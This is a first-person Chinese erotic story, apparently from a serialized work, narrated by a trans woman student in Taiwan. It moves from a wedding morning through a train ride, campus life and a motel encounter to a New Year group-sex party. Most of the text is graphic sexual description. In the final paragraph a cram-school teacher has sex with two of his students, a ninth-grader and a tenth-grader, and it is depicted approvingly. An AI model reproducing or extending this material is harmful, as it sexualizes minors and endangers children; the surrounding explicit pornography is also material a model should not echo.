婚禮結束的晚上,我在蔡叔叔家客廳看電視等著送姐妹回宿舍的姊姊跟叔叔回來,邊跟那個結了婚都快要當爸卻一點都不正經的小蔡聊天,而雲姐早就因為疲憊的跑回房睡覺了。「唔…怎麼還在暈…」「你喝太多了阿!」「不過小另,你們那桌怎麼會有芭樂汁阿?我們沒有叫芭樂汁阿」「那個...彤姐為了要弄特調跑去跟隔壁場換來的啦...有剩下的我就要來喝了...」「原來喔,難怪,不過比起其他桌你們的特調還不錯喝耶!!」當然不錯喝阿,小蔡來敬酒的時候,我被妠兒拱著說要我代表這桌先乾為敬,我就在站在新人的面前,把那杯四人份的白色體液咕嘟咕嘟吞下喉,還用舌頭轉了杯子一圈,把杯緣舔得乾乾淨淨。「不公平,小另喝芭樂汁你們怎麼端這杯散發奇怪味道的紅酒給我阿,你們參了什麼?」不知死活的小蔡嚷壤著。「怎麼還跟小時候一樣愛計較...好啦好啦,姊姊們疼你,我們陪你一起喝!」小彤姊姊早就知道小蔡會想賴皮,他們一人一杯捧在手上陪著小蔡喝下肚。「欸,味道還不錯耶...」這是當事人的評語,不過也讓我們笑彎了腰。
「你那些同學有夠狠的,灌酒毫不留情耶…」談話繼續著。「哪有辦法,誰要我在畢業典禮那天發帖子給全班,一個都跑不掉。」「…你夠狠,之後的打算呢?」「還是先當兵阿,出來趕快找個工作。」「去你爸的公司上班不就好了。」「不要了,爸爸的工廠應該會給Lisa姐他們吧。爸爸老是說那是他欠他們的。而且Lisa姐管我超嚴的我不喜歡。」Lisa是叔叔公司裡年紀最大的大姐,算是目前陪叔叔最久的人了。「你什麼時候知道他們的事情阿?」「聽我媽跟我爸吵架知道的,那時候我爸讓Lisa在公司上班的時候我媽還能忍耐,我都被Lisa教功課的。不過過兩年我爸又帶了彤姐到公司的時候,我媽就暴走了。本來要帶我離開啦,不過我不喜歡跟我媽住,我媽超歇斯底里的。」「要是有你爸那種老公真的會歇斯底里…你還有跟阿姨聯絡嗎?」「她喔,沒有阿,聽到我不跟他離開她還打我一巴掌耶,他們離婚後就沒再跟我聯絡過。」我們又聊了好一陣子,叔叔他們還不回來,隔天要早起搭車的我就躲回房裡睡覺了。
「嗯哼…」早晨,我被姊姊的嬌喘給吵醒。微微張開眼睛,姊姊趴著,正被叔叔壓在的跨下享用著。姊姊搓揉著她自己那膨脹的大陰莖,但又三不五時的分心去摀住自己的嘴巴,像是怕自己叫喊出來吵到我。懶得起身的我於是鑽到姊姊的身下,懶懶的摟著姊姊「我也要…我要你姊姊插我,現在你身下的是可憐的小母狗…要棒棒疼。」情慾迷亂的姊姊也不吭聲,粗狂的抓起了我的腿,把我的菊門給抬高,他的陽物隨著叔叔身後的擺動給用力的捅了進來。「阿…姊姊…阿..」我的高亢的呻吟,引導著姊姊譜著淫蕩的音響,而叔叔的擺動就是這樂曲的指揮。「阿…嗚…老公…還要…用力…妹妹…好爽…好爽對不對…」「阿…姊姊…用力一些…叔叔用力…阿…叔叔越用力姊姊就越用力幹人家…阿…喔…」姊姊被前後包挾著,雙重的刺激讓她在每一次的高潮裡都散發出大量的體液塞入我的身體裡。「阿…阿…人家不行了…壞了…壞了…老公饒了我吧…阿…老公去餵飽小另那個丫頭…阿…阿…小另不要夾啦…又要去了…阿~~~」姊姊像是一塊破布一般精疲力盡的滾倒在一旁,我跟叔叔抱在一起,我纖細的雙腿挾著叔叔的腰際,「阿…叔叔…阿…你是我姊夫捏…阿..怎麼幹我幹得那麼爽…喔…」「喔…姊夫叔叔,要對姊姊好一點…阿…這樣小另也會愛你...阿…小另想要…阿…姊夫把精子射到小另的身體裡…阿…進來了…阿….好多…好熱…阿…」。想要保存在我體內久一些,我用一個肛塞塞住兩人噴灑進我體內的體液,起身整理行李。
姊姊特地起床陪我吃過早餐,才請叔叔開車送我去搭車。雖然時間離我訂的車票時刻還有一點時間,但恰好有一班自強號要發車,我就搭了上去。車上滿滿的人潮我只能站在門口最外緣的那層踏階看著窗外,但大事不妙,因為走路又久站,深深卡住的塞子正慢慢的被推出我的體外。體內尚未被腸子吸收的大量體液已經緩緩的漫出低在我那件粉紅的絲質內褲上。這麼多的人潮我不可能做出去摳弄自己的屁眼把塞子重新塞進去的羞事,而廁所又遠在車廂的另一頭要擠過那麼多的人潮是不可能的,這台自強號又是一過中壢之後就直達台中的快車,我羞紅著臉感受著體內的液體慢慢的濡溼了我褲底,一滴又一滴的水滴沿著我亮麗的大腿曲線滑下,還把我水藍色的荷葉裙也印上深色的水漬,並越擴越大片。「羞死人了,到底還有多少阿…」彷彿酷刑一般,雖然擁擠的車廂除非碰到不然不會有人注意到,但腳上那一滴一滴滑落的體液,那溼透冰涼的衣料都不斷地的刺激我敏感的神經。我的臉面像窗外,我那腦袋不停的打轉卻一點辦法也沒有,只有不斷地浮現要是被看到之後每個人會怎麼想。
「小姐,你的裙子濕了喔!…你的腿上怎麼有一條一條的水痕?」我的呼吸急促了起來。男人的聲音小聲的問著「小姐怎麼不說話呢?你的臉好紅讓我看看好不好?」我的裙子被撩了起來,一隻大手探入了我的褲底「內褲都濕了,中間這是什麼?…你這個淫蕩的小東西,搭火車也這麼飢渴嗎?讓哥哥用手指頭安慰你好不好阿…」「不要…」「不要什麼阿?你不要的話,我要去跟人家說,你這個蕩婦在車上自慰到淫水把裙子都弄濕了喔!」「不要…不要跟人家說…求你…」「那讓哥哥好好安慰你好不好阿…」「等一下…等一下下車你要怎麼樣都可以…」「呼…呼…嗯~…」我恍惚的沉入自己的幻想之中,等我不自主的緊緊夾住雙腿,不自主喘出氣的小小呻吟了一聲才發現自己根本是一個人在發浪,真想打開門就這樣跳下去,羞愧死人了。
整路車我都漲紅著臉不敢抬頭,有人竊竊私語我就想著們是不是在說「那個人怎麼坐車坐到在淫叫啦...」「淫蕩死了...應該是在做雞的吧」就這樣亂想得好不容易撐到站,我立刻用背包當掩護火速衝進女廁內,我整個人腿軟的癱坐在地上,手不停的撫弄著下身,「都是姊姊啦,把人家的身體弄得那麼淫蕩...」好不容易換好衣服,卻還敢開門出去,等聽到下一班車到站的開門聲,我才走出廁所躲進人潮之中。結果停在車站前的機車又因為被移出停車格而被拖吊,搭計程車去牽了車騎到一半又是鑰匙飛出去繞回原路看了半天才找到,又沒油熄火在大太陽下滿頭大汗的把車邊牽邊找加油站,氣死我,中港路是上坡耶…整得我七葷八素的,明明中午就到台中,卻消磨了一整個下午去處理這些事情,回到租處洗個澡整理一下就拖著疲憊的身體去上班了。
暑假期間,叔叔跟姊姊還有妠兒,那群姊妹裡面最活潑的小姊姊來餐廳找我,他們說談生意剛結束路過來找我吃個飯,姊姊還是不喜歡吃太硬的東西,我幫他們配好了餐點就得去忙也沒聊到什麼話。倒是開學後因為姊姊的緣故我又在班上成為矚目的焦點,不過這次倒是好的。「小另你快點來看看!!」我才剛到教室就一群女生機機喳喳的拿著一份蘋果日報要我看。「不會是阿明那個線上直播被蘋果爆出來吧…不是跟我說什麼那是國外的又要會員付費才可以看,什麼的嗎…」我在心裡叨念著,在等待婚禮那期間我還兩三次跟姊姊跑去找那兩個高職生免費當他們直播的女優,雖然有看過影片知道那個影片根本暗到不要說臉,身材都看不清了,聲音也都失真的沙啞,但是難免忐忑不安的接過報紙。「美豔美女大直擊!!」看了標題我就鬆了一口氣,不是那個就好。
報紙上滿滿的一頁都是美女的圖樣,同學要我看的只是我跟姊姊在逛街的時候姊姊被邀請拍的照片。一口氣好像拍了2、30張吧。本來想說什麼只是今日我最美那之類的東西,我在一旁看沒有跟著拍,姊姊那陣子很認真的每天翻蘋果日報,想說會不會刊載出來,沒想到卻是現在才跟其他的美女一同亮相。「她是你對不對!!」「一定是你啦,阿捲髮很漂亮,你怎麼又把頭髮洗直了!!」「你是台北人嗎?在那邊被拍到的?」「你怎麼打扮的那麼漂亮!那天是不是要去約會?」「你那麼正要我們怎麼活啦…」鶯鶯燕燕高分貝的在耳朵邊轟炸真的很可怕。「那是我姐…不是我…」「怎麼可能~不要騙人啦~」「來來來…看這邊…看看她沒有喉結對不對…來..米米你摸我我這邊…see~」姊姊的喉結動手術拿掉了,這大概是她全身上下我最羨慕的手術了,我的喉部有一個小小地突起雖然要我仰著頭才會被發現,但總是覺得不滿意。「我有跟姊姊的合照啦,你們看!」那天婚禮結束後我姊姊拍了好幾張合照。「你跟你姊姊好像喔!!」「你穿得好漂亮喔,姊姊這樣看起來更漂亮啦」「我就說你看起來沒那麼成熟咩…」「介紹你姊姊給我認識好嗎」「男生不要插嘴走開啦!!」女生問完換男生,整整一天我都被同學們包圍著疲勞轟炸,比我剛復學的時候還誇張。一到餐廳,Cindy手上拿著報紙衝過來「Cindy 媽咪,你不要拿報紙給我看了,那是我姊姊,上次來吃飯你也看過…」「蛤…你知道了喔…真不好玩,你看這一段:拍攝當天,L女的妹妹也在一旁,姊妹都是漂亮的清秀佳人,可惜妹妹極度害羞不願入鏡。這個總該是你了吧。」「嗚…寫這個幹麼阿…」那天攝影師不斷邀約我也一起拍,什麼姊妹花一起入鏡更吸睛的,但我卻有苦自己知,那天上街,我套著件寬鬆的飛鼠袖棉T一件熱褲,表面上看起來是個可愛的打扮,但棉T下的身體,沒有內衣,只貼著兩塊會導電的電極在乳頭上當作胸貼,電極的電線就連接到熱褲內被姊姊插入菊穴的電動按摩棒上,姊姊隨時都會在人多的地方打開開關。要是由我來擺那種小露領口的動作,攝影師就會相機快門中發現我那寬鬆的領口內其實裡面什麼都沒穿,是個表面清純卻上街享受著視姦與羞恥調教的變態人妖母狗而已,屆時一定會被拖去旁邊的廉價賓館賞我大雞巴吃的吧。姊姊上新聞的風波還不只同學,升上三年級我還是有一堂主修要跟一年級的學弟妹一起上課,結果那周上課老師居然在學弟妹面前幫我打廣告…氣得我忍不住打電話跟姊姊抱怨。「喂~Ring~我是小彤…嗯…找嘉嘉有什麼事嗎?」「彤姐?...姊姊不方便接電話?」「喔..嗯…你等一下…阿…嘉嘉,Ring找你」「嗯…喂...小另嗎?」「姊姊我跟你說,你上蘋果你知道嗎,蛤?這樣喔…好…你忙…你忙…」姊姊因為上新聞這件事情讓她又好好的被那些淫亂的同事給好好的招待了一番,我打電話過去的時候,姊姊正在茶水間裡被小彤跟Lisa給姦淫著。她趴在小彤的身下舔著小彤才剛被叔叔給姦淫過還在滴著淫精的菊穴,Lisa也正用大陰莖好好的調教著姊姊的小菊穴。聽著他們的浪聲對我來說太痛苦了,還是先掛掉電話比較好。
三年級總算學分補得差不多,有了不少空堂,卻又要拿來弄畢業論文。Jamey畢業回國了,午休約會時間剛好清心寡慾的把自己丟在圖書館找資料打報告。偶而會想著找個男人對我來個近乎極限的深喉口交,也懷念姊姊的身體開發。但現實上每次跟男人搞過後就不斷打著電話要再度邀約出門對我這個嫌時間太少有時間寧可打工的窮學生、忙學生來說實在是太麻煩了。Luna也是我們學校大四的學生,最近總是下班後還繼續跟老闆泡在店裡,雖然Luna總是說她要老闆幫她訓練調酒師考試的項目啦…但總覺得她說不定對老闆有什麼非分之想勒。Jay也跟Jamey畢業回國了,單身的Cindy有著跑不完的Party等著她,雖然還滿常來我家睡的,不過都是她醉得一塌糊塗跟計程車司機報錯地址才來吵我好夢的關係。
老闆說中秋節前後這兩天生意不會好又揪了大廚出去玩放我們兩天假,我第一次答應了班上同學們要跟他們去烤肉。放假前一天,生意就很差了。「欸,Luna你公休那天要幹麼?老闆出去玩你可別說你要練調酒喔」Cindy拉著Luna鬧著。「也沒課,應該會回家吧,有一陣子沒回去了。」「那多無聊阿,Ring勒?Ring要幹麼?又是找資料、寫論文?」「對阿,難得有兩天假耶,而且又快要期中考了。」「齁優,你們真的很無趣耶…」「你是想要玩找不到咖吧,那些老外叩一叩阿。」「媽咪說得沒錯,Cindy不要來帶壞我們」「死丫頭,你平常也都一直叫我媽,怎麼現在就不幫我」「你自己說你保護措施超好得生不出我這個女兒來阿…」「你…齁...跟那些人出去久了也很膩啊」Cindy苦苦哀嚎著。「好啦好啦...明天晚上陪我去烤肉啦。」我想外向的Cindy去參加同學的烤肉應該也很受歡迎吧。
「欸,小另帶正妹來了啦!!」班上的男生果然十分歡迎Cindy的加入。烤肉在同學他們在沙鹿合租的獨棟透天宿舍舉行,一起烤肉的男男女女扣掉我跟Cindy七個人只有一個柔柔是女生是主辦人聖致的女朋友,也是柔柔拉我過來參加烤肉活動的,還好這幾個人跟我的互動都還可以。雖然被告知只要空手赴約就好,但我覺得多帶了一個人過去還白吃白喝很奇怪,就搶了Luna的基酒跟Cindy一起調了一大桶味道差強人意的酸甜調酒帶過去。沒想到大受大家的歡迎,看著角落那被冷落的一整箱的臺灣啤酒,突然覺得自己帶對了。Cindy很快就跟我那些同學們有說有笑的熟識起來,在客廳跟男生PK 瑪莉歐賽車,我陪著柔柔跟聖致在廚房備料,不過倒是不斷慘叫著要同學丟墨鏡進來給我,柔柔跟聖致不斷親來親去抱來報去的真是讓人不舒服。烤肉總是有人烤有人吃,不過吃了幾口沒熟的香腸還有半面變成焦炭的里肌肉後,我跟柔柔很自覺的接過養飽眾人的重大使命。至於Cindy...她負責娛樂大家比較實在喔!「欸欸,小另以前我覺得你超冷淡的耶,你變好多喔!謝謝你今天來陪我。」柔柔邊翻著鐵網上的肉邊跟我聊天。「以前你也知道那幾個人怎樣說我的,只好先保護自己阿。」「你應該很辛苦吧,被那麼多人指指點點的。」「習慣了啦,還好我看起來沒有很奇怪。」「真的,一開始還以為會是個渾身肌肉的男人穿著蛋糕裙走進教室勒!沒想到是個大美女。」「亨~我也有肌肉阿!你看這裡.!!」「...小另...我的肌肉還比你大塊耶...」嗚...一直吃女性荷爾蒙的關係啦...力氣都快比一般的女生小了。Cindy不曉得從哪裡變出了吉他,叮叮咚咚的演奏著。「Cindy姐好厲害,比阿德談得還棒耶」...該不該跟柔柔說Cindy的吉他是因為她喜歡用吉他遮著全裸的三點來誘惑男人時練出來的呢?不過Cindy的音樂讓今天的烤肉添加了不少歌聲。由於喝了一堆酒精飲料,當晚,我們三個女生都留宿在那裡。
「不要...不要啦...小另他們在耶...嗚...」女生們睡在聖致的房間裡讓,但大半夜的聖致跟柔柔在廁所中自以為很小聲的進行著苟且的淫事,把淺眠的我給吵醒了。我很想一笑置之,但大半夜聽到自己同學的淫聲也太尷尬了,於是獨自走到頂樓去吹風。沒注意到頂樓已經被人給佔據,我靜靜的走到烤肉爐旁的躺椅坐下,卻突然發現...另一邊的女兒牆上阿草跟維尼手拉著手在kiss...!!我似乎發現了什麼天大的八卦。想避也避不開,那兩人感覺到背後有人,連忙轉頭過來「小另...!!」「哈...哈哈...那個...我什麼也沒看到,我...我只看到你們牽手...阿...別殺我滅口!!」我想用搞笑來化解尷尬的氣氛,但是當他們兩人走過來一起圍著還散發餘溫的炭爐坐著時,氣氛突然變得很沉默,我只好開始逼問這個其實令我很驚訝的事情。「蛤...原來大二上就在一起了喔,難怪每次我想問阿草問題你都不爽!」「虧我還想說班上唯一看的男生就是阿草了」「果然...阿草是被吃掉的那個...我介紹帥哥給你好不好!!」「阿~維尼要打人了」「好啦好啦,我不會說出去的啦...我可以跟阿草當好姊妹啦...哈哈哈,知道啦~」受到驚嚇的人好像是我捏,幹麼我還要裝瘋賣傻逗他們笑阿。
Cindy隔天睡醒連聲跟我抱怨頭好痛,「活該,酒喝那麼多!」「台啤捏,怎麼會醉!!」「調酒你一個人喝掉一半齁!宿醉活該!」心情很懶散的我,被Cindy慫恿了蹺課一起去大甲拜拜,拜拜完我們兩個人又騎車往海邊去。好久沒有放鬆的跑出來玩,我雀躍得不得了。但才剛到高美溼地停好車就開始括大風下大雨,連想要去週邊的攤販看看有沒有雨衣可以買都因為非假日沒有半間有營業。我沮喪的跟Cindy坐在涼亭裡躲雨,風還將雨不斷得打進涼亭裡,「Cindy...我第一次蹺課就是陪你出來玩...為什麼會遇到這種事情...你要賠我!!」Cindy看著頭上烏雲照頂的我「齁,我好心啦你出來玩耶...不能怪我啦!!」風雨打溼了我的衣服,半透明的襯衫勻貼在我身上,淡紫色的胸罩若隱若現「小另好性感喔~」Cindy取笑著我,昨天為了塞進我們兩個女孩的包包,我機車上平常會放的擋風外套也被拿了起來,現在只好假裝自己很性感的在涼亭裡搔首弄姿。「噗哧!」我跟Cindy在那邊窮極無聊的互相賣弄風騷,卻聽到背後一個忍不住笑出來的聲音。我轉過頭,一個只穿著泳褲的健壯男人站在涼亭入口看著我們。「阿....」我連忙躲到Cindy身後,雖然同樣是溼透,不過Cindy黑色的T恤可不會讓陌生男人看到若隱若現的胸罩阿。「嗨,我沒有惡意啦,只是想說看你們坐在這裡會很冷,看你們要不要去我的車上等雨停。」「好阿,麻煩你了」我們早就凍到不行連聲答應了男人的邀請。在車上他向我們自我介紹,他說他朋友都叫他小黑,是來這邊撈些水草回去放在他的海水魚缸裡。沒想到遇到下雨,他的衣服放在岸邊也溼透了,乾脆穿著泳褲到處跑。
我們有一句沒一句的聊著,雨遲遲不停,小黑僅有一條的毛巾早就被我們弄得濕漉漉的,車內雖然開了暖氣,但我們仍舊渾身發抖。小黑於是提議帶我們去Motel把衣服烘乾。就近找了一間Motel開了一個房間,小黑紳士的禮讓我們先沖澡。他幫我們把衣服拿去烘乾,等我們從浴室包著浴巾,蜷曲在棉被裡面後,才輪到他進去。小黑很快的也包著浴巾從浴室走出來,坐在沙發上他上身倒三角型的健美身材就在我們眼前。我感覺到,他雖然盯著電視,卻心不在焉時不時的往床上飄。從身後看著他健美的身材,我越看越上火,久曠的淫亂肉體散發了高溫。我想,Cindy也不會想要白白的浪費這休息的三小時吧。也沒跟Cindy商量,就站起身走到小黑的身邊「黑哥~你這樣會不會冷阿?」小黑聽到我問他話,轉過頭來看著身上只包著浴巾的我,嚥了好大一口口水。「不...不會...」「時間還很久耶...」「對...對阿...」「妹妹好冷喔,黑哥你抱抱我好嗎?」我甜膩的氣音在他耳朵邊誘惑著他。他浴巾下立刻浮起了一塊突出物。他也沒說話,站起身就摟住了我。「哎呀~怎麼這麼硬了!!」我的手直接扶住了他那突起物,熱熱的有點燙手,小黑在我頭上喘著氣。「你們很壞耶,來這裡啦,這裡不會冷啦!」不甘寂寞的Cindy躺在床上嬌嗔,我笑了笑把小黑推向了Cindy,小黑也順勢撲上了Cindy。「喔...好粗喔...黑哥哥...你都吃什麼東西...怎麼這麼粗啦?」Cindy果然如我所料,撫摸著粗硬的小小黑邊張開腿讓小黑那粗壯的手指可以進出玩弄著他的淫穴,我則摟著小黑的頸子索取著小黑舌尖的唾液。 Cindy被撫摸得發浪了起來,轉了個身用她的嘴巴含住小黑的分身,卻將私密處暴露在我眼前。我調皮的拉過小黑的手指,吸了吸手指那Cindy的淫水,我伏下身開始用舌頭進攻Cindy的花心。Cindy對於被舌頭的舔弄最沒有辦法忍受了,不斷地唉唉得呻吟著。我趴在床上逗弄著Cindy,卻被小黑逮到了機會「Ring,轉過來一些,讓我摸摸你的小淫穴。」「阿...不要...阿...」小黑的手指沒探到滴著淫液的小蜜穴,卻發現了我不是真女孩的秘密。「阿...你是...」小黑吃驚了一下,我抬起頭想解釋,卻發現他並不像正常男人一樣驚訝的抽手放開,反而熟練的揉捏我的小陰莖。「哎呀...阿...你怎麼不驚訝??」「我每年賺得錢都花在泰國玩小人妖了,今天卻被我發現那麼漂亮又淫蕩的,我反而比較驚訝這個勒。」原來是個喜歡人妖女孩的男人,我開心得享受著他的手指在我菊門的進出。
被他玩弄得快要失神,「小Ring的穴穴不太乾淨喔!!」小黑卻抽出玩弄著我菊門的手指聞了聞,「阿...人家今天沒有想到會遇到小黑哥哥啦,所以早上沒有清潔...」我害羞的回應他。本來想說昨天晚上有清潔過了,今天晚上再來處理,但卻羞人的被小黑點破。「來,把哥哥的手指頭清乾淨。」小黑把手指深入我的嘴裡,我用舌頭感受著他指尖的苦澀味,用口水將他給清理了一番。「Cindy baby,我們來幫Ring洗一洗!」我被那兩人帶進浴室裡,把蓮蓬頭轉下來,就用那不曉得乾不乾淨的水管插入我的菊門內幫我浣腸。我被Cindy給拉高雙腳,讓小黑能夠由上往下的將大量的水灌入我的體內深處,然後再把我放下來,由Cindy用力按壓我的腹部。小菊穴有如噴泉一般在小黑的面前失禁得把水液與穢物噴灑出來。「哇 ...好臭喔...」Cindy還大聲的羞辱著被菊穴噴射弄得恍神流口水的我。來回幾次確定我排出的已經是乾淨的水了,小黑把地上的穢物沖進排水管裡。「Ring的髒東西不多呢,有定期注重清潔齁。」我羞澀的點點頭。
完成清洗後,我壓在Cindy身上兩個人各自展現了自己的淫穴在小黑眼前「幹我...」「先幹我...」我們爭寵般求著小黑的進入。「阿...好粗!!好厲害!」先被捅入的是Cindy那不斷流入蜜液的騷穴,「阿...阿...阿...」我在Cindy身上聽著她淫浪的叫聲,感受著從屁股那邊傳來的一陣一陣振動,突然,我的菊穴被一個粗大的東西給幹了進來。「阿...這是什麼...阿...阿...好厲害...阿...」沒想到腰力超強的小黑居然能一次輪流的幹著我們兩個淫女。「好...好棒...好厲害...」「歐...黑哥哥...歐...幹我...幹我...」他的挺腰沒有很快,但卻極有節奏感的平均分配著插入我跟Cindy的時間,我跟Cindy簡直為了他癡狂。我被插入的時候就埋入Cindy的肩上浪叫,Cindy被插入的時候也會緊緊抱著我哀號。「黑哥哥...你...你好棒喔...」Cindy被幹得受不了首先在小黑不知道第幾次插入時噴出了淫水,我終於獨享了小黑的粗雞巴,原本二分之一的幸福獨占之後不是變成1而是數倍,數十倍「阿阿阿 ...阿...阿...」Cindy高潮的餘韻讓她不斷得繼續逗弄自己的小蜜荳,還不斷朝著我的臉噴出小小地水柱。「老公...阿...好老公...好用力...好用力幹我,用力幹我..」.除了當初被開苞的那幾次有對蔡叔叔喊過老公之外,我從未對其他男人喊過老公,沒想到居然失控到對著初次見面的男人就大聲得喊著。「老公...我要去了...去了...阿....阿....」看我高潮了,小黑推開我的屁股,抓住Cindy的腰又是狠狠的幹著。「阿...阿...好強...好強...Cindy...Cindy會死...會死....會大黑哥哥幹死...老公...阿...老公...阿...」「小人妖,不是想要當我老婆嗎?」小黑看已經把我們給收服了,邊幹著Cindy邊對我說話「小人妖要!小人妖是黑哥哥的老婆!」我連聲的喊著。「那小人妖坐在這裡,對,把你的腰挺上來,很好,小人妖有漂亮的小雞八對不對...」「對...小人妖有漂亮的小雞巴。」我躺在Cindy身上努力的用發軟的雙腿把腰挺起,深怕小黑看不清楚。「那小人妖喜不喜歡Cindy?」「小人妖很喜歡Cindy,都說Cindy是小人妖的媽咪。」怕小黑冷落了Cindy我趕快幫Cindy說話。「那小人妖幹媽咪Cindy給老公看好不好?」「人妖老婆的弟弟這麼軟這麼小怎麼放進去?」「人妖老婆~來~趴在母豬身上!」「好的...親愛的老公 」「老婆,你看Cindy的洞是不是被老公捅開了?」「是阿,黑黑的還在冒水好色喔!」「來...老公幫你!」小黑用枕頭墊高了Cindy的屁股,要Cindy自己掰開淫穴,我的小弟弟的確滑進了Cindy那被撐開的淫穴,但只要一動就會滑出來。沒想到變態的黑老公,卻用手指把我那小弟弟下面那塊沒用的子孫袋也給塞了進去。萎縮的睪丸在擠壓中感受到疼痛,但是這樣卻讓我跟Cindy結合在一起。「Cindy,夾緊,不准讓你的人妖女兒的南傍国滑出來,這樣Cindy也是我的乖乖老婆喔。」Cindy立刻乖乖夾緊了我那只有小指頭長的淫棍連帶的我那沒用的子孫袋也被包在那溫熱的陰道之中。而我就用這樣怪異的姿勢被老公狠狠的幹著。「阿...阿...老公...大力...再大力...媽咪的小穴夾得好緊,好爽,好爽,感覺好奇怪...喔...喔...喔~~~......」「好厲害,好厲害...Cindy的花心...喔...喔...好爽...好爽」兩個女人瘋狂的淫叫,真的瘋狂了,兩個女人認識這男人還不到一個下午就被他的大陰莖弄得神智不清了。
「喔~~...到了...到了...到了....」Cindy在我身下再度被幹得飛去了神智,一股一股的水流,刺激著我那被包覆在她秘壺裡的小龜頭。我也爽得快要昏了過去,可是小黑還沒有射精的欲望,而Cindy的腳也不敢放鬆的緊夾。床頭的電話不識相的響起「小姐你好,你們的時間還有30分鐘,還有需要加時嗎?」「喔~...喔~...加時~,再加一個,不...不...再三個小時...阿...對...阿...我老公太強了...喔...喔....」我淫蕩得對著服務生呻吟了起來。我的小雞巴被塞在Cindy的陰道不時的把被老公幹出的淫液射進Cindy體內,終於,小黑大力捅了我幾下他珍貴的精液撒在我的體內,強烈的衝擊讓我趴在Cindy的身上喘著氣...我的淫棍仍放在她的體內,但她那已經放鬆的雙腳,讓我知道,她跟我一樣不知道又到了幾次高潮。「小人妖快爽死了...好厲害...」「人妖老婆,拔出來看看」我一拔出來,Cindy的陰戶裡噴出了大量的液體,有如一個茶壺打翻在床墊上一樣。「老婆,老公棒不棒?」「棒....老公最厲害了。」我撫摸著尚在失神的Cindy,衷心的稱讚著小黑老公。當晚,我沒有回去牽我的機車,反而跟Cindy一起被小黑載回家。我跟Cindy都成了他的玩物。他那天的確是去摘水草,卻摘到了兩個頂級的淫貨。性慾極強的他就算是有一點的空閒就想要幹女人,總是把錢都給砸在買春上面,男人、女人、人妖只要夠漂亮他都可以。
雖然不捨,但我們能夠跟小黑交媾的時間真的不多,我要上課、工作,Cindy除了工作外其實也有接場外拍的外快,小黑又是帶團飛來飛去的導遊,各地都有情人的他就算在台灣也不一定會想起我們兩個。附帶一題,那天我們回去的「小黑的家」根本就是他其中一個女人住的。只是當天變成我們的炮房而已。而且...這麼強烈的刺激真的偶一為之就好,我們那晚在「小黑的家」享受到的餘韻讓我上班的上到一半就腿軟得無法站直,而Cindy根本就沒來上班,一整個精疲力盡了。
這個寒假我們餐廳工讀生臨時跑了兩個,缺人的情況下,我找了還留在這裡趕畢業專題進度的阿草來幫忙「吼呦...來幫忙啦,不然我上班會上到死啦,你不是說你做過fridays,我們這個小case啦」「我專題趕不完啦!!沒空沒空!!」「....專題進度還落後多少?」「很多...」「寒假晚上來賠我上班,白天我幫你一起寫專題如何?」「你確定....」「姊姊我就算整個寒假都賣給你,姊姊的專題進度一樣超前啦!」其實我的畢業專題已經寫好躺在哪邊了,只是怕太早給老師看會要我又加強東加強西的,所以都按照著進度在丟東西給老師看。反正在我利誘之下阿草答應了當我們餐廳的工讀生。「阿草,阿草~你那個男朋友又來接你下班了耶!!」Cindy跟Luna很快就發現每天都跑來癡癡等阿草下班的維尼是一對的,而答應要幫忙阿草弄專題的我,現在連維尼的份也要攬下來....「阿~~~.......」「小另你幹麼大叫阿?」「你...你...你男人是白痴嗎?我幫他找好論文、劃下重點、連草稿都幫他打了,只要他換句話說,修飾文章...你...你看他寫的是什麼東西啦?」「寫得很好阿...」「不是前面...是後面...前面我改好了...」「呃...這個豬頭...寫這什麼東西難怪有時間跟我...」「蛤?有時間什麼?」「阿...沒...沒什麼...」「算了...嘿咻就嘿咻咩...幹麼怕人家知道!」「小另!!」通常中午過後,阿草就會來我房間寫專題,我就是幫他找資料畫重點,跟他討論專題論文的方向,不像維尼的專題根本就是一團糟,都打好草稿的東西還有辦法寫得跟小學生作文一樣文句不通,氣得我白頭髮都快跑出來了。「小另過年放假不會回家嗎?」「不會吧,才休三天,我姊姊又不在。」「是喔,不過Cindy跟Luna都要回去耶!!」「唔...那我只好在家裡補眠了...」「哈哈,我也沒有要回去啦,你家借我住,我要趕進度!」「回你家趕啦!讓我補眠~」維尼要是沒有來接阿草下班,阿草有的時候會懶得騎回家就住我這邊,對我來說,跟個日系花美男睡覺可一點都沒有損失阿。
「嗯嗯,老公新年快樂,嗯~愛你~」除夕下午,我丟下一個嗲聲嗲氣在跟情人談話的清秀男孩不管在Motel裡跟Sam的一群朋友一起狂歡雜交著。在房間裡四男、四女玩弄著6根小弟弟,咦?是5隻吧怎麼會變成6隻?不是我算錯,而是女孩中的Betty是來台灣表演人妖秀的人妖女郎,除夕不用表演的她現在正抱著我的屁股在地毯上演出人妖互玩的戲碼給其他人欣賞。另外兩個女孩也正被幹著,她們是一對姊妹,念國三的妹妹正在Sam身上,上半身赤裸的露出還粉嫩可愛的椒乳,下半身被Sam的要求穿著學生裙在Sam的身上飛揚。裙擺隨著律動上下飛舞,兩人交合的部位時不時的展現在我們眼前。而高一的姊姊則被兩個大雞巴老外同時操著前門跟後門,還抓著第三人的雞巴把玩著。「老師...老師...你好厲害喔...喔...喔...阿......」國中女孩浪聲叫著。兩個女孩都是Sam補習班的學生,姊姊早已經是Sam Party中的常客,而妹妹應該也跑不掉了。「喔...好棒...Ring的菊穴好緊喔...喔...Ring ...我要把你帶回劇團去...我要讓你在舞台上被我向這樣的幹著!」我也浪蕩的喊著幹我的人妖的名字「Betty...yes...oh...Betty..不可以只有你幹我..要很多人幹我...花錢看我表演的人都可以幹我..oh...yes...oh ~solovely... honey...oh...」Betty雖然有著還不錯的漂亮雞巴,但或許也是有用女性荷爾蒙吧,稍嫌不夠硬挺,快快就射精的她也讓我欲求不滿。我起身禮貌性的親他一下就坐在地上看著其他對的演出。地毯上的空位很快的就換成了Betty被幹得唉唉叫的戲碼了,我起身喝了杯酒看了看閃著信號燈的手機,手機裡有數通的未接來電。
